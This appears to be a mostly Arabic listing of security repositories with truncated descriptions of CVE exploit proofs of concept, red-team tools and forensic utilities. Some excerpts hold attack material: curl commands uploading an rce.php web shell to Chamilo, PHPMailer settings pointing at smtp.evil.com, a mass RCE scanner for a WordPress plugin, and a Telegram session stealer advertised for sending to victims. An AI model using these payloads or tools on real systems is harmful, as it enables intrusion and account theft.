CVE-2016-3088

CVE-2016-3088 بيان سكربت استغلال يعتمد على بايثون لـ CVE-2016-3088. هذا أول سكربت لي، لذا قد يكون هناك شيء غير مناسب تمامًا. لكنه يبدو أنه يعمل بشكل صحيح عندما اختبرته. وصف هذا السكربت يمكنه إلغاء الحاجة إلى التقاط الحزم أثناء اختراق CVE-2016-3088، لذا يمكننا كتابة الملف ونقله مباشرة. الاستخدام...

Remediating-CVE-2013-3900-EnableCertPaddingCheck-

تقرير المعالجة: CVE-2013-3900 على Windows Server 2019 Azure VM معالجة CVE-2013-3900 EnableCertPaddingCheck أثناء إجراء فحص ثغرات أمنية مُصادَق عليه باستخدام Tenable/Nessus، حددت وجود CVE-2013-3900 على مثيل Windows Server 2019 Datacenter المستضاف في Microsoft Azure. استخدم الفحص بيانات اعتماد إدار...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...

Webapp_Pentast

دليل إثبات المفهوم والاختبار اليدوي لـ CVE-2022-31147 يوفر هذا الدليل منهجيات شاملة لاختبار CVE-2022-31147، وهي ثغرة حرجة من نوع اجتياز المسار Path Traversal تؤثر على مكتبة matthiasmullie/minify المستخدمة على نطاق واسع. تسمح هذه الثغرة للمهاجمين باستغلال عدم كفاية تنظيف المدخلات في نقطة نهاية...

choronzon

Choronzon - أداة اختبار تطورية قائمة على المعرفة مقدمة تهدف هذه الوثيقة إلى شرح النظرية وراء Choronzon بإيجاز. علاوة على ذلك، فهي تقدم تفاصيل حول مكوناته الداخلية وكيف يمكن للمستخدم توسيع Choronzon لتلبية متطلبات جديدة. تم تقديم نظرة عامة على بنية Choronzon لأول مرة في مؤتمر ZeroNights 2015. كما...

CVE-2026-35585-poc

CVE-2026-35585: إثبات المفهوم لحقن أوامر نظام التشغيل في File Browser النسخة الإنجليزية ملخص هذا المستودع هو إثبات المفهوم PoC للثغرة الأمنية الخطيرة CVE-2026-35585 لحقن أوامر نظام التشغيل المكتشفة في File Browser من الإصدار 2.0.0 إلى 2.33.1. توجد هذه الثغرة في ميزة 'Custom Command Hooks'. نظرًا...

operative-framework

operative framework is a digital investigation framework, you can interact with multiple targets, execute multiple modules, create links with target, export rapport to PDF file, add note to target or results, interact with RESTFul API, write your own modules. important The project has undergone a...

TeleShadow3

TeleShadow3 Teleshadow3- مخترق جلسات تيليجرام سطح المكتب المتقدم! تحميل انقر هنا لتحميل أحدث إصدار! لقطة شاشة لم يكن سرقة جلسات تيليجرام سطح المكتب بهذه السهولة من قبل! قم بتعيين البريد الإلكتروني وتفاصيل المرسل والمستلم أو استخدم API تيليجرام! وأرسلها إلى الضحية بعد التجميع. كيف أستخدم ملف الجلس...

uac

Unix-like Artifacts Collector UAC About • Documentation • Main Features • Supported Operating Systems • Usage • Contributing • Support • License 🔎 About UAC UAC Unix-like Artifacts Collector is a powerful and extensible incident response tool designed for forensic investigators, security analysts...

go_parser

Yet Another Golang binary parser for IDAPro English |中文 NOTE : Now the latest master branch is the Python3 version. The old master branch has been changed to branch py2 , and temporarily not maintained. Instructions for Python3 branch This version is developed and tested on macOS/Windows, IDA7.4+...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

Cisco-ASA-FTD-Web-Services-Traversal

ثغرة اجتياز المسار في واجهة خدمات الويب لبرنامج Cisco Adaptive Security Appliance وبرنامج Firepower Threat Defense CVE-2020-3452 الاستخدام: CVE-2020-3452.py https://target وصف الثغرة: توجد ثغرة في واجهة خدمات الويب لبرنامج Cisco Adaptive Security Appliance ASA وبرنامج Cisco Firepower Threat Defen...

satellite

satellite Satellite is an web payload hosting service which filters requests to ensure the correct target is getting a payload. This can also be a useful service for hosting files that should be only accessed in very specific circumstances. Quickstart Guide 1. Install satellite on Ubuntu using th...

PageMyadmin_file_upload_getshell

لا يحتوي هذا المستودع على ملف README...

SMBCrunch

SMBCrunch واحدة من أكثر المهام استهلاكًا للوقت كأحد أعضاء الفريق الأحمر هي الغوص في أنظمة الملفات والمشاركات، محاولاً تحديد أي معلومات حساسة محتملة. يسمح SMBCrunch لعضو الفريق الأحمر بتحديد مشاركات ملفات Windows بسرعة في الشبكة، ويقوم بعمل قائمة دليل متكررة للمشاركات المقدمة، ويمكنه حتى سحب ملف م...

CVE-2020-1938TomcatAjpScanner

CVE-2020-1938TomcatAjpScanner مسح جماعي لثغرات Tomcat AJP تفاصيل الثغرة في 6 يناير 2020، سجّلت منصة مشاركة ثغرات الأمن المعلوماتي الوطنية CNVD ثغرة تضمين الملفات في Apache Tomcat CNVD-2020-10487، المقابلة لـ CVE-2020-1938. يمكن للمهاجم استغلال هذه الثغرة لقراءة أي ملف عن بُعد في دليل معين دون...

prithvi

Prithvi A Report Generation Tool for Security Assessment Usage This project of ours could be used for report generation and its very easy to use. It includes following features 1. We can add Owasp Types and recommendation with details. 2. We can add Multiple Projects and work on it separately. 3...

CVE-2025-34085-Multi-target

CVE-2025-34085 ماسح RCE متعدد الأهداف ماسح استغلال جماعي لـ CVE-2025-34085 — ثغرة تنفيذ أوامر عن بُعد بدون مصادقة في إضافة WordPress Simple File List. تقوم هذه الأداة برفع حمولة PHP متنكّرة بهيئة صورة، وتعيد تسميتها عبر محرك ملفات ضعيف، ثم تشغّل القشرة shell بأمر مخصص. تدعم الفحص متعدد الخيوط عبر...

CVE-2018-20580

CVE-2018-20580 إثبات المفهوم لـ ReadyAPI 2.5.0/2.6.0 تنفيذ الأوامر عن بُعد مع التفاعلات. مقدمة في ديسمبر 2018، عثرت على ثغرة أمنية جديدة في ReadyAPI. تسمح للمهاجم بتنفيذ كود عن بُعد على الجهاز المحلي، مما يعرض مستخدمي ReadyAPI للخطر بما في ذلك المطورين ومختبري الاختراق وغيرهم... يتيح ReadyAPI...

CVE-2020-24186-wpDiscuz-7.0.4-RCE

POC CVE-2020-24186-wpDiscuz-7.0.4-RCE WordPress wpDiscuz 7.0.4 تنفيذ التعليمات البرمجية عن بعد توجد ثغرة تنفيذ تعليمات برمجية عن بعد في إضافة gVectors wpDiscuz الإصدار 7.0 حتى 7.0.4 لووردبريس، والتي تسمح للمستخدمين غير المصادقين برفع أي نوع من الملفات، بما في ذلك ملفات PHP عبر إجراء AJAX المسمى...